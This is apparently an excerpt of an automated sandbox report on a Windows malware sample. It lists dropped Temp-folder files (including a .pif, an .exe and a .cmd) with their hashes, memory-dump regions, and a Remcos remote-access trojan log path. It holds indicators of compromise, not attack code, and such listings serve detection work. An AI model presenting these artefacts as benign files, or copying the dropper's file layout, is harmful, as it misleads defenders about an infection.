SHA512 8fcdc88dee45d7bee8014ec4c784525e3787bcc6726403e48253fc474a94f16064bda2ca253f1f402bf4033dc39564e7db876a0b0977785f50edf0e7ebae5560

C:\Users\Admin\AppData\Local\Temp\Average

MD5 cc615450a5e897024c11d65ebb5767df
SHA1 2be1b334c0abb39d3676235f63bd1e6d6a441faf
SHA256 9ff6689ec71d5e3e97110c715040e9a52e608d601cfdf4ce113157e331cb6360
SHA512 8991ad5007d131113fb78b849d998fde0907eca9066c7ff94ce9d296e0c7f1bd779aaf0627df0b151dbec580ac28433788f75424f79e00c9fe3f2dffaaec3991

C:\Users\Admin\AppData\Local\Temp\Miniature

MD5 4e219e580cb7e67cb8ef84b528e58946
SHA1 324c6f45342b568117ef0d6cffd1b9bfcb2c83e0
SHA256 bc219cc55d892d09ef613c6bbc7802dbd2273e7f36bbcb80a7c92bde38248b03
SHA512 447cc9abe2769ce22b5f374e5352caad34679ec6b6091a72a219ac24c7b04164749cffc51d4f5478555e5d3e9480c23ff09227b9ace648d85c3c61ad04cc41a3

C:\Users\Admin\AppData\Local\Temp\Lcd

MD5 b30b4650ca121d52123ca01c431167a9
SHA1 7059078395580420f1dbda3dab92a9a40779e7f1
SHA256 a90b1c82e0d3a08a12bf9c1b62b9fa070bc94a43ff016277e55812b6475e3763
SHA512 075160a3e84c8f0181e9ccd3e06b8f8fd9cdb94ab63b6740cce670b7c85f0b8d2846bc30e4dc40bb4132b3e6d6816b3123c8bd8e14605163f0195619806bbb56

C:\Users\Admin\AppData\Local\Temp\Va

MD5 5ce1d88f6b6443a7883495111fe1d774
SHA1 8b94a3fedbe02c2fcd982158d2ed75485b80e3a8
SHA256 181e211233ae2dbcae2f6e481a72992fe804e4fa02fad06306bcec621a2784a9
SHA512 f110f00f0dc6d28ec96c9b893fd5428398c96a9c23e6687c92bec770f16444e2e4208c602964d9d714decb1ca075eb259275a22f730981ab89c3d33a3cf1a427

C:\Users\Admin\AppData\Local\Temp\Floors

MD5 9226df60503dd2f9b793eef266804437
SHA1 9a66de6b7ceda5470cb4ce8042658ee749658919
SHA256 ba5c94bfd63ef2ab3004603559fc60752ed17ba362b84ee6f5137ae254b0575f
SHA512 6b7d079ce40f94a7c38ad005678524f6a29cbd9c0a61b7325ef6095440a0f100538c2a355b0032cd974761e9ec4a04c485b63df6fdaf27c7086fe578b7e745cb

C:\Users\Admin\AppData\Local\Temp\Thumbzilla

MD5 d77592a03dcfe86543c0409a0f1ed959
SHA1 b7ede5fd7a5daa17f258fbc8dd4697c2bdd4433a
SHA256 ad7e759e1f2277eb51031d79d07997f90d7ebeccbb591093e70a5dfe6457a224
SHA512 35ad0f9950283b14ecfbdff1bcfa022847e93131c67b07781e6010ea2d0e7bebbc8a5057f3dcf87c6c1c5c073d99bd198cf06d66db28d903c73aa95f8a255bba

C:\Users\Admin\AppData\Local\Temp\Dirt

MD5 c05f355e84b7f3b6723dcba3046c094a
SHA1 cf08288bde31650608beb6987ce1327ece9f4dff
SHA256 d50ab71c87a024223158d27ba84c09c7e0ab97493938d8d351f5296f9f39d33e
SHA512 6b1d6467f6f24d73990078ea79d504d603a0f06443b26b33fb2e83c9c5b0c583c4a3440af23804f36929d9facbcec2d63a5b071cfc8ffafd8fa8b68a34eea9f4

C:\Users\Admin\AppData\Local\Temp\Step

MD5 c91fac1246b1472b507269d9520eb1f0
SHA1 a68d15aaa08c86f35489f9a2d3833fd66d237234
SHA256 50f253e9631eb9caac14640a31756e1badd9516731da43dd96c3dcc13c41681e
SHA512 06c7b1915931b40263de99b036849d53d010cf9c258fd7eef170cd76ad6346b75c505dcd8bba7d55fb2a31e51bdc412035c9c8b00b68a730fab74c27b9047067

C:\Users\Admin\AppData\Local\Temp\Libraries

MD5 c68a8fcc65f760e6e4b19056cc9a2171
SHA1 1477ee22bba04cebb0ca5bf86df16bd92b519a41
SHA256 04abb7d845cc4efd02fb07bd363e859ea5e55c0b913dc91db85b3fb94cd0810d
SHA512 c4573d6acc638e00b27f1f32b384fd33335399c1dc78dfdfe26f937da569d5efab4cfd578cc267f3c7344fc854d848662b31ced3c600b28d0d23c455d139b3d5

C:\Users\Admin\AppData\Local\Temp\Charm

MD5 dfac5aa7adcf85a9a8450a22ccb805a1
SHA1 b5756dd4bb48ba52886dc514368ca44538f72929
SHA256 8703ba8f57ee69f36b30cea5b909bf591e40274b5e3ac550e8da5c0e1432a94c
SHA512 b474a750efd38a3bf972df200d85b7b04872dc2f2c96855a90776b1777a59be0acb5b8479041925afd1d3466c08bd31f9ebc33f9ef72395e6127c83361acda3f

C:\Users\Admin\AppData\Local\Temp\Considerable

MD5 53558c454ed877c1e3a877c7226421f6
SHA1 a7f2e1373df865e39b499b6559c248ff1b8cf968
SHA256 caf4fee1a51963dc9d02cd8538af44d746426c295387d514b661b56a3e7c8698
SHA512 c065a57249b80acc62610b83f05b9e7c9a3e91bd5b07676a85babe9332d1628cad8134a2054335d732cc8435f480b33253b230674d069448c7a1f2058bc13ca3

C:\Users\Admin\AppData\Local\Temp\Temperature

MD5 a0741a2ce836cac907f8bae7c534c89d
SHA1 b54dbad5790ffef62e808e0e6c6ac2dc5d97cca9
SHA256 d3a8fabdd6c84ce85a2c81ec2370b105889130bb5cd917892ab00f42f8abc2e1
SHA512 e32479b54d52a03930feb373874add6315d23bb32c5ba29f0d518a8571f1018dffa8bd481d09bac402934a6b0cd0c4d2f146b471393b6621ec2d2fa9e61e73e4

C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif

MD5 b06e67f9767e5023892d9698703ad098
SHA1 acc07666f4c1d4461d3e1c263cf6a194a8dd1544
SHA256 8498900e57a490404e7ec4d8159bee29aed5852ae88bd484141780eaadb727bb
SHA512 7972c78acebdd86c57d879c12cb407120155a24a52fda23ddb7d9e181dd59dac1eb74f327817adbc364d37c8dc704f8236f3539b4d3ee5a022814924a1616943

C:\Users\Admin\AppData\Local\Temp\111702\t

MD5 b4433216d521f45219840977cb655121
SHA1 488dfd1f829f518ec2ca6308aa48757948dd7a9d
SHA256 a4628e46da85c7c18e0b57ed2c21337067d07aca89359215c3b80362b5f63e94
SHA512 46a113cc37a7257943a139fbcca01b94b8390eac9209f2b91bf95c9b82219057ab39318d6fadc729b5cfbb6307104f469a98c431c476a863d9d21e64de479d53

C:\Users\Admin\AppData\Local\Temp\False

MD5 2bfc7bf58fcdde2b078954401e4af795
SHA1 60928f5d07c9ece62eeaac0922357657a5a46c80
SHA256 5eb3ebede72e1abccefe43a2a739c1b7cddb793428ae61f27210e2b2e135298b
SHA512 178ce2c75fc3552842d6729f9e00b0e11b9ea9ffb2650039060b46ff17a7dbd9e8a700e1485c3f611c62e56075a394c3cb1a9db9e3a18f62f420774672849d99

C:\Users\Admin\AppData\Local\Temp\Sharon

MD5 f94c2d209bb74949149637c30ff4a780
SHA1 e781029b232ec0b67c47c698a91b89f792da0f7d
SHA256 b4dd90ea6873a0dad1946419f5163c75a070d81a110197aab4aca00d947a538a
SHA512 ec1909473deba0b5a1abe3cb4aa99f802959d16db2696804f332693372b8e0b27961651459a6f2575dd97447acb61b0d0596c7f5883156c7b113faa2a4ac1600

C:\Users\Admin\AppData\Local\Temp\Cakes

MD5 1cfac8777969f55c3fe6264b3802cef6
SHA1 5a776ca91eed90e1199434fd410c2940207e3e9b
SHA256 7d3da6d55f5efb1a0beeccb4c5df6594dca184472f31616624afc2eaedaeaf0c
SHA512 8bc99d30ee6d888f88f0874eb2a406ea9c6b5489eac721b09d37948cc341503e314c9234fccc99e2200d700867d53da5aa4dc5c4fa4771b413b95be2480c8620

C:\Users\Admin\AppData\Local\Temp\Fever

MD5 65333e3a8f8944cfd9a646453174bdeb
SHA1 9756e2195aa5938be64e75a30e48d72399ba7722
SHA256 17df08a5dc8b484694b22895e2a813a18c38338d4b17411510b2895224f7cd57
SHA512 968586e8dbd762618f6a81e6906bebd74d5371d9e15f6be4f108b72d7d96740e761f087df6609297481d9814f01cb0ac265a374c1bb5ca046a1a8cc58d680a4d

C:\Users\Admin\AppData\Local\Temp\Republicans

MD5 1842ac823c58d8e9ca4c5ac3889808d5
SHA1 34bbacc70bd24aa6adbac734f0b3556c2731487d
SHA256 97421ab8960159a060818186fe7e06569f7a76a3f8a11367fbc6cd777abe6f7b
SHA512 38e6cdb0943bb1aef3bcf4585d4358845eccf92ef7fed9851a2cf767d7e3eb19e2d2d30cf8374318f5c21e945a77acb13b416c8eeb212a096905e7b1c576f2a2

C:\Users\Admin\AppData\Local\Temp\Partnerships

MD5 7e5937aeb84367606948c7bda998decd
SHA1 ca8e47f17b018d6bc4abbed7858426830d4b559e
SHA256 ac6473a19cc8553ab91e572c562d7cf24c3a450a3143caeaeffa8d118ba5d083
SHA512 75daaedbb8e844d4703ca46168cb3136f92774c9a7e48c5796e763a15a5816536cbab303acf4aad48f67c104cce471185a75dbfa60199a584c895b9f96d3ec26

C:\Users\Admin\AppData\Local\Temp\Gnome

MD5 4025dfebbabe184ff5e97484f337145b
SHA1 23dd19de8cbfb6e6810c4feebcc0f6c0b527e003
SHA256 ba6afbaae36710e3760a3b83e9d5793f3faac37c36f23cf938ca10985c9518ca
SHA512 c76f536aed6fe1a82c7fed7b91aa4946d44141a784999f2a5c5667218b77c8136afaee7b0955b058189a436eb13eca6e90fa492c6227d9101ca1bc852eb20c42

C:\Users\Admin\AppData\Local\Temp\Soviet

MD5 918fdb7576e5c24e144d960ae5ff6e81
SHA1 7e9c17fc57dc3c159457f327c9f7db6fc92e12a5
SHA256 86a842ed7cb53c26bca360b8203444f0bca7df6e458dfb1326be948a2cb85359
SHA512 e1681c84f2df6d029e3d2d60802b0f1c55cb941b465008aa6b80a966aca7f6af26aa1ec31075e36bba5bfdbdbb5da76bfe921034c0776ee9fedace0ec92a9952

C:\Users\Admin\AppData\Local\Temp\Highest

MD5 dbb44f5be8b6a03e32f87bbac378f7f1
SHA1 d5dde81f9e216d60f6d6c44cfa93b15b87a1aa1c
SHA256 0265e20bbd2d7069dd25217a804eecd6865a0d31089dbc13678830c9d523ca73
SHA512 6f2b23b6464baadc696b33e5d468fd6d454b5e293011565f592d77f786e01daef082b47b66f19080998b02a0d0a42f8a530d90e7e0866673322bee771111f6f6

C:\Users\Admin\AppData\Local\Temp\Lolita

MD5 f623897f24c434647c6df58dbb2714c0
SHA1 0880324e4c12a3f25bce3166e07c42057478ed55
SHA256 7dff147eb98f0eb0661f1039ae2eaba0d683d459307c23b5b1ab09f0a2a14248
SHA512 79d4f11cdb87180a4308364ef752911e42cc2f786695e69c6b810434db87a50b645dfb52a746174986f35ba7e224fc7a1c91620ceb5845045cc3f53aedb66b4f

C:\Users\Admin\AppData\Local\Temp\Apply

MD5 bed3860310b974a4e76fc2ef6f04aafb
SHA1 fc08d5df57c7f3f3de35533fe7aea9febbfe4596
SHA256 3eba474648ae0f84deaceb79fb32349e32e59bf82e6843afec90c23974e32214
SHA512 fd1f300b4fe7ed3ab1c2d7925b753a42a888636b3ec63c887e38cc0c3c39e1d70910db5226c7ffd3e69d941ba12f34b1d894dae287b088cdd1b8770dff7d3589

C:\Users\Admin\AppData\Local\Temp\Pilot

MD5 c61b9fda3ac97c9738d2e5e4be5a2bcd
SHA1 8ab0ef010dd87f744e65d84adac6f2767047a261
SHA256 3f5173a0879b0bd40cf3f2ec84f399afa11c3783a41f5763f80be91145b7e8c1
SHA512 9251c31c4d02836a57ca84ee33e8bcf18750db99991d622873b3792503eb584d48669cba56297ac055c6654de906193c7deec770143dfc75fa8276db69182410

C:\Users\Admin\AppData\Local\Temp\Lu

MD5 7f22e6e57dc49740310fc7141edc5c6b
SHA1 6837e8ad106dc84d69d696d7dc45209ab8f1dc28
SHA256 38b74d222f1c75867853674d1beb47de3b4e547b4bb9d2970fe07bc7ad31c2b4
SHA512 ddb2fd822911d30daff278ec81f7172db4f4ff3f35ca2ebd5097d919813c33b30ed3d225fbb14b1a8f1f6353becada8ece17015b91e737287e0e656cca326917

C:\Users\Admin\AppData\Local\Temp\Eagle

MD5 8b36b69c53d3b33dfc164a7ff62bebab
SHA1 dc43f858a9102f44b55f423a9306e594aad36fa9
SHA256 99c803fe1a7c7d1860f745136556f35664f7299321252499e9e244e327159840
SHA512 baf93d95949fa8b4504f984f7c3b12fbd05a4841fbf73e1f51e18ee79bd16c66ea7723a9791eebb84693f427b6a1111e0415a72e08922c2cd093a5f04f7c9d28

C:\Users\Admin\AppData\Local\Temp\Visitor

MD5 efd24c95f5bf9b5d71a930265daf6b38
SHA1 3c733075d3446cc6d5793e87cd658723bf96f862
SHA256 92d91e59784dce47b4e936366677ed9250770b11dfceb32535033189b77c0fa8
SHA512 6508c18d373e48d1abc4a598883be0f857fd1699f408b336d7a91c244ce017f24580096f9aefffea971bb0b33091cc46fe1d5409631087efce081b7a69217572

C:\Users\Admin\AppData\Local\Temp\Flashing

MD5 0005d29df881128a166b0499bc57295e
SHA1 a199a97ffc600e82fc700a81b03aa88bd4eb439b
SHA256 67473be5f8a1a5d72296532fbfece44d852140e2fb8ebc75bf9e6fd1eab2fefc
SHA512 ab4c21354a9bfebd72a91df7d69f19118244a9b0efcbd3963f55ac3480394cf6a7fbdad66b030ab4eb63b963609704edd90d0da881af3fdf0b951eedb360a9c2

C:\Users\Admin\AppData\Local\Temp\Favourite

MD5 7333d0f078fac3134cb41b1c79985cbe
SHA1 f80c55b91bc5d69dc0387a9c646c415288f3f505
SHA256 663a804baf485ae41626af8544697fcb872d70e9facf3e0f29ac9a6c931ec4c1
SHA512 fbfceecd7a5020e99ac51db1c342d1b3bceeca9488e91b678ad260f9c6382be7eb17cfd7bc70c4a5bbafee0d68a9b26a9580e7611d041b5b30c042783d2029fd

C:\Users\Admin\AppData\Local\Temp\Friendly

MD5 a447e90960d6a519f4203627516fd678
SHA1 abd94cd6cd304fc966e91e89641e30262b2f44a1
SHA256 12a8644fc8173a37002c2a21593d556bf155c32b0ab2b53edba7215ecc177162
SHA512 93b52411341add2e624f0daf4a9d458b0b49224daf6cbf3eb2dbceb67073d275e9f0c7f4170c83b7ded5403969b858f1e509a0df3fcf53ad430873c058b45df4

C:\Users\Admin\AppData\Local\Temp\diwdmd.exe

MD5 76db9d4e0566c888269399c8bd84cf10
SHA1 fca360a05180767800a492969599ffc0cad646f1
SHA256 e954b7396118fc6a49b7951186932cfd44bc84026a5747edd985e693b6c64f39
SHA512 788f16c9d60602da20adde3bb1d79ec33fdcb3453530288753546d770ced20cdeebf9874b3992b9b2363b642c9c3eeb02ccecd95df263dd3554a24d5c534784e

C:\Users\Admin\AppData\Local\Temp\Elect.cmd

MD5 db68d47fc26e523794fae78a2fc4b898
SHA1 e0c54089e16aa7eb2863b38632668b1e6e6184a2
SHA256 25b08ad8d88688bcfad02764a03db81ece95f4e9ed7b522cc3e6c06779f48746
SHA512 ed78e634f1b71b1ac1aa03c2409878792f3718fe97c4715cb2181246a74af3af187f3dca478c2d252c26cd73e7879507a2f29110473dfc97d7de6b62a725cc57

memory/4580-641-0x0000000004D80000-0x0000000004E02000-memory.dmp

memory/4580-642-0x0000000004D80000-0x0000000004E02000-memory.dmp

memory/4580-643-0x0000000004D80000-0x0000000004E02000-memory.dmp

memory/4580-644-0x0000000004D80000-0x0000000004E02000-memory.dmp

memory/4580-645-0x0000000004D80000-0x0000000004E02000-memory.dmp

memory/4580-646-0x0000000004D80000-0x0000000004E02000-memory.dmp

memory/4580-648-0x0000000004D80000-0x0000000004E02000-memory.dmp

memory/4580-647-0x0000000004D80000-0x0000000004E02000-memory.dmp

memory/4580-649-0x0000000004D80000-0x0000000004E02000-memory.dmp

memory/4580-653-0x0000000004D80000-0x0000000004E02000-memory.dmp

memory/4580-654-0x0000000004D80000-0x0000000004E02000-memory.dmp

memory/4580-658-0x0000000004D80000-0x0000000004E02000-memory.dmp

memory/4580-659-0x0000000004D80000-0x0000000004E02000-memory.dmp

memory/4996-660-0x0000000001300000-0x00000000013A4000-memory.dmp

memory/4996-661-0x0000000005870000-0x00000000059B2000-memory.dmp

memory/4996-701-0x0000000005870000-0x00000000059AC000-memory.dmp

memory/4996-687-0x0000000005870000-0x00000000059AC000-memory.dmp

memory/4996-673-0x0000000005870000-0x00000000059AC000-memory.dmp

memory/4996-669-0x0000000005870000-0x00000000059AC000-memory.dmp

memory/4996-662-0x0000000005870000-0x00000000059AC000-memory.dmp

memory/4996-707-0x0000000005870000-0x00000000059AC000-memory.dmp

memory/4996-705-0x0000000005870000-0x00000000059AC000-memory.dmp

memory/4996-703-0x0000000005870000-0x00000000059AC000-memory.dmp

memory/4996-699-0x0000000005870000-0x00000000059AC000-memory.dmp

memory/4996-698-0x0000000005870000-0x00000000059AC000-memory.dmp

memory/4996-695-0x0000000005870000-0x00000000059AC000-memory.dmp

memory/4996-693-0x0000000005870000-0x00000000059AC000-memory.dmp

memory/4996-691-0x0000000005870000-0x00000000059AC000-memory.dmp

memory/4996-689-0x0000000005870000-0x00000000059AC000-memory.dmp

memory/4996-685-0x0000000005870000-0x00000000059AC000-memory.dmp

memory/4996-683-0x0000000005870000-0x00000000059AC000-memory.dmp

memory/4996-681-0x0000000005870000-0x00000000059AC000-memory.dmp

memory/4996-679-0x0000000005870000-0x00000000059AC000-memory.dmp

memory/4996-677-0x0000000005870000-0x00000000059AC000-memory.dmp

memory/4996-675-0x0000000005870000-0x00000000059AC000-memory.dmp

memory/4996-671-0x0000000005870000-0x00000000059AC000-memory.dmp

memory/4996-667-0x0000000005870000-0x00000000059AC000-memory.dmp

memory/4996-665-0x0000000005870000-0x00000000059AC000-memory.dmp

memory/4996-663-0x0000000005870000-0x00000000059AC000-memory.dmp

C:\ProgramData\remcos\logs.dat

MD5 a9a02988145925c6cad96f0b3aedcf6b
SHA1 854b1d2b67d977799ff739bc3383d476c7e837f8
SHA256 d94472891bf906d0471c206692833a3c54b9a9719f59206788e0f5fc5d3ebd25
SHA512 0efcf08d70e907818ce325ddde83879aae9d79d3d0f322520441faa118dc768c7ce7874f60ea9535d3e741a5ca3feae5217ed5c94318b025f1646f2f4f265faf